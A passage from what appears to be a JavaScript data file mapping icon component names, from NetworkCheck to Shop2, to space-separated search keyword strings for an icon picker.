wireless',\n  NetworkCheck: 'connection internet meter signal speed tick wifi wireless',\n  NetworkLocked:\n    'alert available cellular connection data error internet mobile not privacy private protection restricted safety secure security service signal warning wifi wireless',\n  NetworkPing:\n    'alert available cellular connection data internet ip mobile service signal wifi wireless',\n  NetworkWifi: 'cellular data internet mobile phone speed wireless',\n  NetworkWifi1Bar: 'cellular data internet mobile phone speed wireless',\n  NetworkWifi2Bar: 'cellular data internet mobile phone speed wireless',\n  NetworkWifi3Bar: 'cellular data internet mobile phone speed wireless',\n  NewLabel:\n    '+ add archive bookmark favorite library plus reading remember ribbon save symbol tag',\n  NewReleases:\n    '! alert announcement approve attention award burst caution checkmark complete danger done error exclamation important notification ok select star symbol tick verification verified warning yes',\n  Newspaper:\n    'article data document drive file folders magazine media notes page sheet slide text writing',\n  NextPlan: 'arrow circle right',\n  NextWeek: 'arrow baggage briefcase business suitcase',\n  Nfc: 'communication data field mobile near wireless',\n  Nightlife:\n    'alcohol bar bottle club cocktail dance drink food glass liquor music note wine',\n  Nightlight: 'dark disturb mode moon sleep weather',\n  NightlightRound: 'dark half mode moon',\n  NightShelter: 'architecture bed building estate homeless house place real sleep',\n  NightsStay:\n    'climate cloud crescent dark lunar mode moon phases silence silent sky time weather',\n  NineK:\n    '9000 9K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  NineKPlus:\n    '+ 9000 9K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  NineMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  NineteenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  NoAccounts:\n    'avatar disabled enabled face human offline people person profile slash thumbnail unavailable unidentifiable unknown user',\n  NoBackpack: 'accessory bookbag knapsack travel',\n  NoCell:\n    'Android device disabled enabled hardware iOS mobile off phone slash tablet',\n  NoCrash:\n    'accident automobile cars check collision confirm correct direction done enter maps mark okay select tick transportation vehicle yes',\n  NoDrinks: 'alcohol beverage bottle cocktail food liquor wine',\n  NoEncryption: 'disabled enabled lock off password safety security slash',\n  NoEncryptionGmailerrorred: 'disabled enabled locked off slash',\n  NoFlash:\n    'camera disabled electric enabled energy image instant lightning off on photography picture slash thunderbolt',\n  NoFood: 'disabled drink enabled fastfood hamburger meal off on slash',\n  NoiseAware: 'audio cancellation music note sound',\n  NoiseControlOff:\n    '[offline] audio aware cancellation disabled enabled music note slash sound',\n  NoLuggage: 'baggage carry disabled enabled off on slash suitcase travel',\n  NoMeals:\n    'dining disabled eat enabled food fork knife off restaurant slash spoon utensils',\n  NoMeetingRoom:\n    'building disabled doorway enabled entrance home house interior office on open places slash',\n  NoPhotography: 'camera disabled enabled image off on picture slash',\n  NordicWalking:\n    'athlete athletic body entertainment exercise hiking hobby human people person social sports travel walker',\n  North: 'arrow directional maps navigation up',\n  NorthEast: 'arrow maps navigation noth right up',\n  NorthWest: 'arrow directional left maps navigation up',\n  NoSim: 'camera card device eject insert memory phone storage',\n  NoStroller:\n    'baby care carriage children disabled enabled infant kid newborn off on parents slash toddler young',\n  NotAccessible: 'accessibility body handicap help human person wheelchair',\n  Note: 'bookmark data document drive file folders message page paper plus sheet slide symbol writing',\n  NoteAdd:\n    '+ -doc create data document drive file folders new page paper plus sheet slide symbol writing',\n  NoteAlt: 'clipboard document file memo page paper writing',\n  Notes: 'comment document text write writing',\n  NotificationAdd:\n    '+ active alarm alert bell chime notifications notify plus reminder ring sound symbol',\n  NotificationImportant:\n    '! active alarm alert announcement attention bell caution chime danger error exclamation feedback mark notifications notify problem reminder ring sound symbol warning',\n  Notifications: 'active alarm alert bell chime notify reminder ring sound',\n  NotificationsActive: 'alarm alert bell chime notify reminder ringing sound',\n  NotificationsNone: 'alarm alert bell notify reminder ring sound',\n  NotificationsOff:\n    'active alarm alert bell chime disabled enabled notify offline reminder ring slash sound',\n  NotificationsPaused:\n    '--- active alarm aleet alert bell chime ignore notify pause quiet reminder ring sleep snooze sound zzz',\n  NotInterested:\n    'allowed banned cancel circle clear close disabled dislike exit interested not off prohibited quit remove stop',\n  NotListedLocation:\n    '? assistance destination direction help information maps pin place punctuation questionmark stop support symbol',\n  NoTransfer:\n    'automobile bus cars direction disabled enabled maps off public slash transportation vehicle',\n  NotStarted: 'circle media pause play video',\n  Numbers: 'digit symbol',\n  OfflineBolt:\n    'circle electric energy fast flash instant lightning spark thunderbolt',\n  OfflinePin:\n    'approve checkmark circle complete done ok select tick validate verified yes',\n  OfflineShare:\n    'Android arrow cell connect device direction hardware iOS link mobile multiple phone right tablet',\n  OilBarrel: 'droplet gasoline nest water',\n  OndemandVideo:\n    'Android chrome desktop device hardware iOS mac monitor play television tv web window',\n  OnDeviceTraining:\n    'arrow bulb call cell contact hardware idea inprogress light loading mobile model refresh renew restore reverse rotate telephone',\n  OneK: '1000 1K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  OneKk:\n    '10000 10K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  OneKPlus:\n    '+ 1000 1K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  OnlinePrediction: 'bulb connection idea light network signal wireless',\n  Opacity: 'color droplet hue inverted liquid palette tone water',\n  OpenInBrowser: 'arrow box new up website window',\n  OpenInFull: 'action arrows expand grow move',\n  OpenInNew:\n    'application arrow box components interface link right screen ui up ux website window',\n  OpenInNewOff: 'arrow box disabled enabled export on slash window',\n  OpenWith: 'arrows directional expand move',\n  OtherHouses:\n    'architecture cottage estate home maps place real residence residential stay traveling',\n  Outbound: 'arrow circle directional right up',\n  Outbox: 'mail send sent',\n  OutdoorGrill: 'barbecue barbeque bbq charcoal cooking home house outside',\n  Outlet: 'connecter electricity plug power',\n  OutlinedFlag: 'country goal mark nation report start',\n  Padding: 'design dots layout margin size square',\n  Pages: 'article gplus paper post star',\n  Pageview: 'document find glass magnifying paper search',\n  Paid: 'bill card cash circle coin commerce cost credit currency dollars finance monetization money online payment shopping symbol transaction',\n  Palette: 'art colors filters paint',\n  Panorama: 'angle image mountains photography picture view wide',\n  PanoramaFishEye:\n    'angle circle full geometry image lens moon photography picture wide',\n  PanoramaHorizontal: 'angle image photography picture wide',\n  PanoramaHorizontalSelect: 'angle image photography picture wide',\n  PanoramaPhotosphere: 'angle horizontal image photography picture wide',\n  PanoramaPhotosphereSelect: 'angle horizontal image photography picture wide',\n  PanoramaVertical: 'angle image photography picture wide',\n  PanoramaVerticalSelect: 'angle image photography picture wide',\n  PanoramaWideAngle: 'image photography picture',\n  PanoramaWideAngleSelect: 'image photography picture',\n  PanTool: 'drag fingers gesture hands human move scan stop touch wait',\n  PanToolAlt: 'fingers gesture hands human move scan stop',\n  Paragliding:\n    'athlete athletic body entertainment exercise fly hobby human parachute people person skydiving social sports travel',\n  Park: 'attraction fresh local nature outside plant tree',\n  PartyMode: 'camera lens photography picture',\n  Password: 'code key login pin security star unlock',\n  Pattern: 'key login password pin security star unlock',\n  Pause: 'controls media music pending player status video wait',\n  PauseCircle: 'controls media music video',\n  PauseCircleFilled: 'controls media music pending status video wait',\n  PauseCircleOutline: 'controls media music pending status video wait',\n  PausePresentation:\n    'application desktop device pending screen share slides status wait website window www',\n  Payment:\n    'bill cash charge coin commerce cost creditcard currency dollars finance financial information money online price shopping symbol',\n  Payments:\n    'bill card cash coin commerce cost credit currency dollars finance layer money multiple online price shopping symbol',\n  PedalBike:\n    'automobile bicycle cars direction human maps public route scooter transportation vehicle vespa',\n  Pending: 'circle dots loading progress waiting',\n  PendingActions: 'clipboard clock date document remember schedule time',\n  Pentagon: 'five shape sides',\n  People:\n    'accounts committee community face family friends group humans network persons profiles social team users',\n  PeopleAlt:\n    'accounts committee face family friends group humans network persons profiles social team users',\n  PeopleOutline:\n    'accounts committee face family friends group humans network persons profiles social team users',\n  Percent: 'math numbers symbol',\n  PermCameraMic: 'image microphone min photography picture speaker',\n  PermContactCalendar:\n    'account agenda date face human information people person profile schedule time user',\n  PermDataSetting:\n    'cellular configure gear information network settings wifi wireless',\n  PermDeviceInformation:\n    'Android alert announcement cell hardware iOS important mobile phone tablet',\n  PermIdentity:\n    'account avatar face human information people person profile save, thumbnail user',\n  PermMedia:\n    'collection copy data directories document duplicate file folders images landscape mountains photography picture save stack storage',\n  PermPhoneMsg:\n    'bubble call cell chat comment communicate contact device message mobile recording save speech telephone voice',\n  PermScanWifi:\n    'alert announcement connection information internet network service signal wireless',\n  Person: 'account avatar face human people profile user',\n  Person2: 'account face human people profile user',\n  Person3: 'account face human people profile user',\n  Person4: 'account face human people profile user',\n  PersonAdd:\n    '+ account avatar face friend human new people plus profile symbol user',\n  PersonAddAlt: '+ account face human people plus profile user',\n  PersonAddDisabled:\n    '+ account enabled face human new offline people plus profile slash symbol user',\n  PersonalInjury:\n    'accident aid arm bandage body broke cast fracture health human medical patient people sling social',\n  PersonalVideo:\n    'Android cam chrome desktop device hardware iOS mac monitor television tv web window',\n  PersonOff: 'account avatar disabled enabled face human people profile slash user',\n  PersonOutline: 'account avatar face human people profile user',\n  PersonPin:\n    'account avatar destination direction face gps human location maps people place profile stop user',\n  PersonPinCircle:\n    'account destination direction face gps human location maps people place profile stop user',\n  PersonRemove:\n    'account avatar delete face human minus people profile unfriend user',\n  PersonSearch:\n    'account avatar face find glass human look magnifying people profile user',\n  PestControl: 'bug exterminator insects',\n  PestControlRodent: 'exterminator mice mouse',\n  Pets: 'animal cat claw dog hand paw',\n  Phishing: 'fishing fraud hook scam',\n  Phone: 'call cell chat contact device hardware mobile telephone text',\n  PhoneAndroid: 'cell device hardware iOS mobile tablet',\n  PhoneBluetoothSpeaker:\n    'call cell connection connectivity contact device hardware mobile signal symbol telephone wireless',\n  PhoneCallback: 'arrow cell contact device down hardware mobile telephone',\n  PhoneDisabled:\n    'call cell contact device enabled hardware mobile offline slash telephone',\n  PhoneEnabled: 'call cell contact device hardware mobile telephone',\n  PhoneForwarded:\n    'arrow call cell contact device direction hardware mobile right telephone',\n  PhoneIphone: 'Android apple cell device hardware iOS mobile tablet',\n  Phonelink:\n    'Android chrome computer connect desktop device hardware iOS mac mobile sync tablet web windows',\n  PhonelinkErase:\n    'Android cancel cell clear close connection device exit hardware iOS mobile no remove stop tablet',\n  PhonelinkLock:\n    'Android cell connection device erase hardware iOS locked mobile password privacy private protection safety secure security tablet',\n  PhonelinkOff:\n    'Android chrome computer connect desktop device disabled enabled hardware iOS mac mobile slash sync tablet web windows',\n  PhonelinkRing:\n    'Android cell connection data device hardware iOS mobile network service signal tablet wireless',\n  PhonelinkSetup:\n    'Android call chat device hardware iOS information mobile settings tablet text',\n  PhoneLocked:\n    'call cell contact device hardware mobile password privacy private protection safety secure security telephone',\n  PhoneMissed: 'arrow call cell contact device hardware mobile telephone',\n  PhonePaused: 'call cell contact device hardware mobile telephone wait',\n  Photo: 'image mountains photography picture',\n  PhotoAlbum:\n    'archive bookmark image label library mountains photography picture ribbon save tag',\n  PhotoCamera: 'image photography picture',\n  PhotoCameraBack: 'image landscape mountains photography picture rear',\n  PhotoCameraFront:\n    'account face human image people person photography picture portrait profile user',\n  PhotoFilter:\n    'artificial automatic automation custom filters genai image intelligence magic photography picture smart sparkle stars',\n  PhotoLibrary: 'album image mountains photography picture',\n  PhotoSizeSelectActual: 'dashed image mountains photography picture',\n  PhotoSizeSelectLarge:\n    'adjust album dashed editing image library mountains photography picture',\n  PhotoSizeSelectSmall:\n    'adjust album editing image large library mountains photography picture',\n  Php: 'alphabet brackets character code css developer engineering font html letters platform symbol text type',\n  Piano: 'instrument keyboard keys musical social',\n  PianoOff: 'disabled enabled instrument keyboard keys musical on slash social',\n  PictureAsPdf:\n    'alphabet character copy document duplicate file font image letters multiple photography stack symbol text type',\n  PictureInPicture:\n    'chat cropped displays layout multitasking overlap photo pip position shape sizes talktrack',\n  PictureInPictureAlt:\n    'chat cropped displays layout multitasking overlap photo pip position shape sizes talktrack',\n  PieChart:\n    'analytics bars data diagram infographic measure metrics statistics tracking',\n  PieChartOutline:\n    'analytics bars data diagram infographic measure metrics statistics tracking',\n  Pin: '1 2 3 digit key login logout numbers password pattern security star symbol unlock',\n  Pinch: 'arrows compress direction finger grasp hand navigation nip squeeze tweak',\n  PinDrop: 'destination direction gps location maps navigation place stop',\n  PinEnd: 'action arrow dot',\n  PinInvoke: 'action arrow dot',\n  Pinterest: 'brand logo social',\n  PivotTableChart:\n    'analytics arrows bars data diagram direction drive editing grid infographic measure metrics rotate sheet statistics tracking',\n  Pix: 'bill brazil card cash commerce credit currency finance money payment',\n  Place: 'destination direction location maps navigation pin point stop',\n  Plagiarism: 'document find glass look magnifying page paper search see',\n  PlayArrow:\n    'application back components controls direction forward interface media music navigation player right screen start triangle ui ux video website',\n  PlayCircle: 'arrow controls media music video',\n  PlayCircleFilled: 'arrow controls media music start video',\n  PlayCircleFilledWhite: 'start',\n  PlayCircleOutline: 'arrow controls media music start video',\n  PlayDisabled: 'controls enabled media music off slash video',\n  PlayForWork: 'arrow circle down google half',\n  PlayLesson: 'audio bookmark digital ebook lesson multimedia play reading ribbon',\n  PlaylistAdd: '+ collection music new plus symbol task todo',\n  PlaylistAddCheck:\n    'approve checkmark collection complete done music ok select task tick todo validate verified yes',\n  PlaylistAddCheckCircle:\n    'album artist audio cd collection mark music record sound track',\n  PlaylistAddCircle:\n    'album artist audio cd check collection mark music record sound track',\n  PlaylistPlay: 'arow arrow collection music',\n  PlaylistRemove: '- collection minus music',\n  Plumbing: 'build construction fix handyman repair tools wrench',\n  PlusOne: '1 add digit increase numbers symbol',\n  Podcasts: 'broadcast casting network signal transmitting wireless',\n  PointOfSale:\n    'checkout cost machine merchant money payment pos retail system transaction',\n  Policy:\n    'certified find glass legal look magnifying privacy private protection search security see shield verified',\n  Poll: 'analytics barchart bars data diagram infographic measure metrics statistics survey tracking vote',\n  Polyline: 'compose connection create design draw node vector',\n  Pool: 'athlete athletic beach body entertainment exercise hobby human ocean people person places sea sports swimming water',\n  PortableWifiOff:\n    'connected connection data device disabled enabled internet network offline service signal slash usage wireless',\n  Portrait: 'account face human people person photo picture profile user',\n  PostAdd:\n    '+ data document drive file folders item page paper plus sheet slide text writing',\n  Power: 'charge cord electrical online outlet plug socket',\n  PowerInput: 'dc lines supply',\n  PowerOff: 'charge cord disabled electrical enabled on outlet plug slash',\n  PowerSettingsNew: 'information off save shutdown',\n  PrecisionManufacturing:\n    'arm automatic chain conveyor crane factory industry machinery mechanical production repairing robot supply warehouse',\n  PregnantWoman:\n    'baby birth body female human lady maternity mom mother people person user women',\n  PresentToAll: 'arrow presentation screen share slides website',\n  Preview: 'design eye layout reveal screen see show website window www',\n  PriceChange:\n    'arrows bill card cash coin commerce cost credit currency dollars down finance money online payment shopping symbol up',\n  PriceCheck:\n    'approve bill card cash coin commerce complete cost credit currency dollars done finance mark money ok online payment select shopping symbol tick validate verified yes',\n  Print: 'draft fax ink machine office paper printer send',\n  PrintDisabled: 'enabled off on paper printer slash',\n  PriorityHigh:\n    '! alert attention caution danger error exclamation important mark notification symbol warning',\n  PrivacyTip:\n    'alert announcement announcment assistance certified details help information private protection security service shield support verified',\n  PrivateConnectivity: 'locked password privacy protection safety secure security',\n  ProductionQuantityLimits:\n    '! alert attention bill card cart cash caution coin commerce credit currency danger dollars error exclamation important mark money notification online payment shopping symbol warning',\n  Propane: 'gas nest',\n  PropaneTank: 'bbq gas grill nest',\n  Psychology:\n    'behavior body brain cognitive function gear head human intellectual mental mind people person preferences psychiatric science settings social therapy thinking thoughts',\n  PsychologyAlt:\n    '? assistance behavior body brain cognitive function gear head help human information intellectual mark mental mind people person preferences psychiatric punctuation question science settings social support symbol therapy thinking thoughts',\n  Public:\n    'country earth global globe language map network planet social space web world',\n  PublicOff:\n    'disabled earth enabled global globe map network on planet slash social space web world',\n  Publish: 'arrow cloud file import submit upload',\n  PublishedWithChanges:\n    'approve arrows check complete done inprogress loading mark ok refresh renew replace rotate select tick validate verified yes',\n  PunchClock: 'date schedule timer timesheet',\n  PushPin: 'location marker place remember save',\n  QrCode: 'barcode camera media product quick response smartphone urls',\n  QrCode2: 'barcode camera media product quick response smartphone urls',\n  QrCodeScanner: 'barcode camera media product quick response smartphone urls',\n  QueryBuilder: 'clock date hour minute save schedule time',\n  QueryStats:\n    'analytics chart data diagram find glass infographic line look magnifying measure metrics search see statistics tracking',\n  QuestionAnswer:\n    'bubble chat comment communicate conversation converse feedback message speech talk',\n  QuestionMark:\n    '? assistance help information mark punctuation question support symbol',\n  Queue: 'add collection layers multiple music playlist stack stream video',\n  QueueMusic: 'add collection playlist stream',\n  QueuePlayNext:\n    '+ add arrow collection desktop device display hardware monitor music new playlist plus screen steam stream symbol tv video',\n  Quickreply:\n    'bubble chat comment communicate electric energy fast instant lightning message speech thunderbolt',\n  Quiz: '? assistance faq help information mark punctuation question support symbol test',\n  Radar: 'detect military near network position scan',\n  Radio:\n    'antenna audio device frequency hardware listen media music player signal tune',\n  RadioButtonChecked:\n    'application bullet circle components design form interface off point record screen selected toggle ui ux website',\n  RadioButtonUnchecked: 'bullet circle deselected form off point record toggle',\n  RailwayAlert:\n    '! attention automobile bike cars caution danger direction error exclamation important maps mark notification public scooter subway symbol train transportation vehicle vespa warning',\n  RamenDining: 'breakfast dinner drink fastfood lunch meal noodles restaurant',\n  RampLeft: 'arrows directions maps navigation path route sign traffic',\n  RampRight: 'arrows directions maps navigation path route sign traffic',\n  RateReview: 'chat comment feedback message pencil stars write',\n  RawOff:\n    'alphabet character disabled enabled font image letters original photography slash symbol text type',\n  RawOn:\n    'alphabet character disabled enabled font image letters off original photography slash symbol text type',\n  ReadMore: 'arrow text',\n  RealEstateAgent:\n    'architecture broker hand home house loan mortgage property residence residential sales social',\n  Receipt: 'bill credit invoice paper payment sale transaction',\n  ReceiptLong: 'bill check document list paperwork record store transaction',\n  RecentActors:\n    'account avatar cards carousel contacts face human layers list people person profile thumbnail user',\n  Recommend:\n    'approved circle confirm favorite gesture hand like reaction social support thumbs well',\n  RecordVoiceOver:\n    'account dictation face human people person profile recording sound speaking speech transcript user',\n  Rectangle: 'four parallelograms polygons quadrilaterals recangle shape sides',\n  Recycling:\n    'bio eco green loop recyclable recycle rotate sustainability sustainable trash',\n  Reddit: 'brand logo social',\n  Redeem:\n    'bill cart cash certificate coin commerce credit currency dollars giftcard money online payment present shopping',\n  Redo: 'arrow backward forward next repeat rotate undo',\n  ReduceCapacity: 'arrow body covid decrease down human people person social',\n  Refresh:\n    'around arrows direction inprogress loading navigation refresh renew right rotate turn',\n  RememberMe:\n    'Android avatar device hardware human iOS identity mobile people person phone profile tablet user',\n  Remove: 'can delete line minus negative substract subtract trash',\n  RemoveCircle:\n    'allowed banned block can delete disable minus negative not substract trash',\n  RemoveCircleOutline:\n    'allowed banned block can delete disable minus negative not substract trash',\n  RemoveDone:\n    'approve check complete disabled enabled finished mark multiple off ok select slash tick yes',\n  RemoveFromQueue:\n    'collection desktop device display hardware list monitor screen steam stream television',\n  RemoveModerator:\n    'certified disabled enabled off privacy private protection security shield slash verified',\n  RemoveRedEye: 'iris looking preview see sight vision',\n  RemoveRoad:\n    '- cancel clear close destination direction exit highway maps minus new no stop street symbol traffic',\n  RemoveShoppingCart:\n    'card cash checkout coin commerce credit currency delete disabled dollars enabled minus off online payment remember ribbon save slash subtract tick',\n  Reorder: 'format lines list stacked',\n  Repartition: 'arrows data refresh renew restore table',\n  Repeat: 'arrows controls loop media music video',\n  RepeatOn: 'arrows controls loop media music video',\n  RepeatOne: '1 arrows controls digit loop media music numbers symbol video',\n  RepeatOneOn: 'arrows controls digit loop media music numbers symbol video',\n  Replay:\n    'arrows controls music refresh reload renew repeat retry rewind undo video',\n  Replay10:\n    'arrows controls digit music numbers refresh renew repeat rewind symbol ten video',\n  Replay30:\n    'arrows controls digit music numbers refresh renew repeat rewind symbol thirty video',\n  Replay5:\n    'arrows controls digit five music numbers refresh renew repeat rewind symbol video',\n  ReplayCircleFilled: 'arrows controls music refresh renew repeat video',\n  Reply: 'arrow backward left mail message send share',\n  ReplyAll: 'arrows backward group left mail message multiple send share',\n  Report:\n    '! alert attention caution danger error exclamation important mark notification octagon symbol warning',\n  ReportGmailerrorred:\n    '! alert attention caution danger exclamation important mark notification octagon symbol warning',\n  ReportOff:\n    '! alert attention caution danger disabled enabled error exclamation important mark notification octagon offline slash symbol warning',\n  ReportProblem:\n    '! alert announcement attention caution danger error exclamation feedback important mark notification symbol triangle warning',\n  RequestPage: 'data document drive file folders paper sheet slide writing',\n  RequestQuote:\n    'bill card cash coin commerce cost credit currency dollars finance money online payment price shopping symbol',\n  ResetTv: 'arrows device hardware monitor television',\n  RestartAlt: 'around arrow inprogress loading reboot refresh renew repeat reset',\n  Restaurant:\n    'breakfast cafeteria cutlery diner dining dinner eating food fork knife local lunch meal places spoon utensils',\n  RestaurantMenu: 'book dining eat food fork knife local meal spoon',\n  Restore:\n    'arrow backwards clock date device history home nest refresh renew reset reverse rotate schedule time turn undo',\n  RestoreFromTrash:\n    'arrow backwards can clock date delete garbage history refresh remove renew reverse rotate schedule time turn up',\n  RestorePage:\n    'arrow data doc file history paper refresh rotate sheet storage undo web',\n  Reviews:\n    'bubble chat comment communicate feedback message rate rating recommendation speech',\n  RiceBowl: 'dinner food lunch meal restaurant',\n  RingVolume:\n    'calling cell contact device hardware incoming mobile ringer sound telephone',\n  RMobiledata: 'alphabet character font letters symbol text type',\n  Rocket: 'astronaut fast quick spaceship speed',\n  RocketLaunch: 'astronaut fast quick spaceship speed takeoff',\n  RollerShades: 'blinds cover curtains nest open shutter sunshade',\n  RollerShadesClosed: 'blinds cover curtains nest shutter sunshade',\n  RollerSkating:\n    'athlete athletic entertainment exercise hobby shoe skates social sports travel',\n  Roofing:\n    'architecture building chimney construction estate home house real residence residential service shelter',\n  Room: 'destination direction gps location maps marker pin place spot stop',\n  RoomPreferences:\n    'building doorway entrance gear home house interior office open settings',\n  RoomService: 'alert bell concierge delivery hotel notify',\n  Rotate90DegreesCcw: 'arrows direction editing image photo turn',\n  Rotate90DegreesCw: 'arrows ccw direction editing image photo turn',\n  RotateLeft:\n    'around arrow circle dashed direction inprogress loading refresh reload renew reset turn',\n  RotateRight: 'around arrow circle direction inprogress loading refresh renew turn',\n  RoundaboutLeft: 'arrows directions maps navigation path route sign traffic',\n  RoundaboutRight: 'arrows directions maps navigation path route sign traffic',\n  RoundedCorner: 'adjust dashed edit shape square transform',\n  Route: 'directions maps path sign traffic',\n  Router: 'box cable connection device hardware internet network signal wifi',\n  Rowing: 'activity boat body canoe human people person sports water',\n  RssFeed:\n    'application blog connection data internet network service signal website wifi wireless',\n  Rsvp: 'alphabet character font invitation invite letters plaît respond répondez sil symbol text type vous',\n  Rtt: 'call real rrt text time',\n  Rule: 'approve check done incomplete line mark missing no ok select tick validate verified wrong x yes',\n  RuleFolder:\n    'approve cancel check close complete data document done drive exit file mark no ok remove select sheet slide storage tick validate verified yes',\n  RunCircle: 'body exercise human people person running',\n  RunningWithErrors:\n    '! alert attention caution danger duration exclamation important mark notification processing symbol time warning',\n  RvHookup:\n    'arrow attach automobile automotive back cars connect direction left maps public right trailer transportation travel truck van vehicle',\n  SafetyCheck:\n    'certified clock privacy private protection schedule security shield time verified',\n  SafetyDivider: 'apart distance separate social space',\n  Sailing:\n    'entertainment fishing hobby ocean sailboat sea social sports travel water',\n  Sanitizer: 'bacteria bottle clean covid disinfect germs pump',\n  Satellite:\n    'bluetooth connection connectivity data device image internet landscape location maps mountains network photography picture scan service signal symbol wifi wireless--',\n  SatelliteAlt: 'alternative artificial communication space station television',\n  Save: 'data diskette document drive file floppy multimedia storage write',\n  SaveAlt: 'arrow diskette document down file floppy multimedia write',\n  SaveAs:\n    'compose create data disk document draft drive editing file floppy input multimedia pencil storage write writing',\n  SavedSearch: 'find glass important look magnifying marked see star',\n  Savings:\n    'bank bill card cash coin commerce cost credit currency dollars finance money online payment piggy symbol',\n  Scale: 'measure monitor weight',\n  Scanner: 'copy device hardware machine',\n  ScatterPlot:\n    'analytics bars chart circles data diagram dot infographic measure metrics statistics tracking',\n  Schedule: 'calendar clock date history mark recent save time',\n  ScheduleSend: 'calendar clock date email letters remember share time',\n  Schema:\n    'analytics chart data diagram flow infographic measure metrics squares statistics tracking',\n  School:\n    'academy achievement cap class college education graduation hat knowledge learning university',\n  Science:\n    'beaker chemical chemistry experiment flask glass laboratory research tube',\n  Score:\n    '2k alphabet analytics bars character chart data diagram digit font infographic letters measure metrics numbers statistics symbol text tracking type',\n  Scoreboard: 'points sports',\n  ScreenLockLandscape:\n    'Android device hardware iOS mobile phone rotate security tablet',\n  ScreenLockPortrait:\n    'Android device hardware iOS mobile phone rotate security tablet',\n  ScreenLockRotation:\n    'Android arrow device hardware iOS mobile phone rotate tablet turn',\n  ScreenRotation:\n    'Android arrow device hardware iOS mobile phone rotate tablet turn',\n  ScreenRotationAlt:\n    'Android arrow device hardware iOS mobile phone rotate tablet turn',\n  ScreenSearchDesktop: 'Android arrow device hardware iOS lock monitor rotate web',\n  ScreenShare:\n    'Android arrow cast chrome device display hardware iOS laptop mac mirror monitor steam streaming web window',\n  Screenshot: 'Android cell crop device hardware iOS mobile phone tablet',\n  ScreenshotMonitor:\n    'Android chrome desktop device display hardware iOS mac screengrab web window',\n  ScubaDiving: 'entertainment exercise hobby social swimming',\n  Sd: 'alphabet camera card character data device digital drive flash font image letters memory photo secure symbol text type',\n  SdCard: 'camera digital memory photos secure storage',\n  SdCardAlert:\n    '! attention camera caution danger digital error exclamation important mark memory notification photos secure storage symbol warning',\n  SdStorage: 'camera card data digital memory microsd secure',\n  Search: 'filter find glass look magnifying see up',\n  SearchOff:\n    'cancel clear close disabled enabled find glass look magnifying on see slash stop x',\n  Security: 'certified privacy private protection shield verified',\n  SecurityUpdate: 'Android arrow device download hardware iOS mobile phone tablet',\n  SecurityUpdateGood:\n    'Android checkmark device hardware iOS mobile ok phone tablet tick',\n  SecurityUpdateWarning:\n    '! Android alert attention caution danger device download error exclamation hardware iOS important mark mobile notification phone symbol tablet',\n  Segment: 'alignment fonts format lines list paragraph part piece rules style text',\n  SelectAll: 'dashed selection square tool',\n  SelfImprovement:\n    'body calm care chi human meditate meditation people person relax sitting wellbeing yoga zen',\n  Sell: 'bill card cart cash coin commerce credit currency dollars money online payment price shopping tag',\n  Send: 'chat email message paper plane reply right share telegram',\n  SendAndArchive: 'arrow download email letters save share',\n  SendTimeExtension: 'deliver dispatch envelop mail message schedule',\n  SendToMobile:\n    'Android arrow device export forward hardware iOS phone right share tablet',\n  SensorDoor: 'alarm security system',\n  SensorOccupied:\n    'body connection fitbit human network people person response scan sensors signal smart wireless',\n  Sensors: 'connection network scan signal wireless',\n  SensorsOff: 'connection disabled enabled network scan signal slash wireless',\n  SensorWindow: 'alarm security system',\n  SentimentDissatisfied:\n    'angry disappointed dislike emoji emoticon emotions expressions face feelings frown mood person sad smiley survey unhappy unsatisfied upset',\n  SentimentNeutral:\n    'emotionless emotions expressions face feelings indifference mood okay person survey',\n  SentimentSatisfied:\n    'emoji emoticon emotions expressions face feelings glad happiness happy like mood person pleased smiley smiling survey',\n  SentimentSatisfiedAlt:\n    'account emoji face happy human people person profile smile user',\n  SentimentVeryDissatisfied:\n    'angry disappointed dislike emoji emoticon emotions expressions face feelings mood person sad smiley sorrow survey unhappy unsatisfied upset',\n  SentimentVerySatisfied:\n    'emoji emoticon emotions expressions face feelings glad happiness happy like mood person pleased smiley smiling survey',\n  SetMeal: 'chopsticks dinner fish food lunch restaurant teishoku',\n  Settings: 'application change details gear information options personal service',\n  SettingsAccessibility:\n    'body details human information people personal preferences profile user',\n  SettingsApplications:\n    'change details gear information options personal save service',\n  SettingsBackupRestore: 'arrow backwards history refresh reverse rotate time undo',\n  SettingsBluetooth: 'connection connectivity device network signal symbol wifi',\n  SettingsBrightness: 'dark filter light mode sun',\n  SettingsCell: 'Android cellphone device hardware iOS mobile tablet',\n  SettingsEthernet:\n    'arrows brackets computer connection connectivity dots internet network parenthesis wifi',\n  SettingsInputAntenna:\n    'airplay arrows computer connection connectivity dots internet network screencast stream wifi wireless',\n  SettingsInputComponent:\n    'audio av cables connection connectivity internet plugs points video wifi',\n  SettingsInputComposite: 'cable component connection connectivity plugs points',\n  SettingsInputHdmi:\n    'cable connection connectivity definition high plugin points video wire',\n  SettingsInputSvideo:\n    'cable connection connectivity definition plugin plugs points standard svideo,',\n  SettingsOverscan: 'arrows expand image photo picture',\n  SettingsPhone: 'call cell contact device hardware mobile telephone',\n  SettingsPower: 'information off save shutdown',\n  SettingsRemote:\n    'bluetooth connection connectivity control device signal wifi wireless',\n  SettingsSuggest:\n    'artificial automatic automation change custom details gear genai intelligence magic options recommendation service smart sparkle star suggestion system',\n  SettingsSystemDaydream: 'backup cloud drive storage',\n  SettingsVoice: 'microphone recorder speaker',\n  SevenK:\n    '7000 7K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  SevenKPlus:\n    '+ 7000 7K alphabet character digit display font letters numbers pixels resolution symbol text type video',\n  SevenMp:\n    'camera digit font image letters megapixels numbers quality resolution symbol text type',\n  SeventeenMp:\n    'camera digits font image letters megapixels numbers quality resolution symbol text type',\n  SevereCold:\n    '! alert attention caution climate crisis danger diaster disaster error exclamation important notification snowflake warning weather winter',\n  ShapeLine: 'circle draw editing square',\n  Share:\n    'DISABLE_IOS android connect contect disable_ios link multimedia multiple network options send shared sharing social',\n  ShareLocation: 'dashed destination direction gps maps pin place stop tracking',\n  Shield: 'certified privacy private protection secure security verified',\n  ShieldMoon:\n    'certified disturb do night not privacy private protection security verified',\n  Shop: 'arrow bag bill briefcase buy card cart cash coin commerce credit currency dollars google money online payment play purchase shopping store',\n  Shop2: 'add arrow buy cart google play purchase shopping',\n  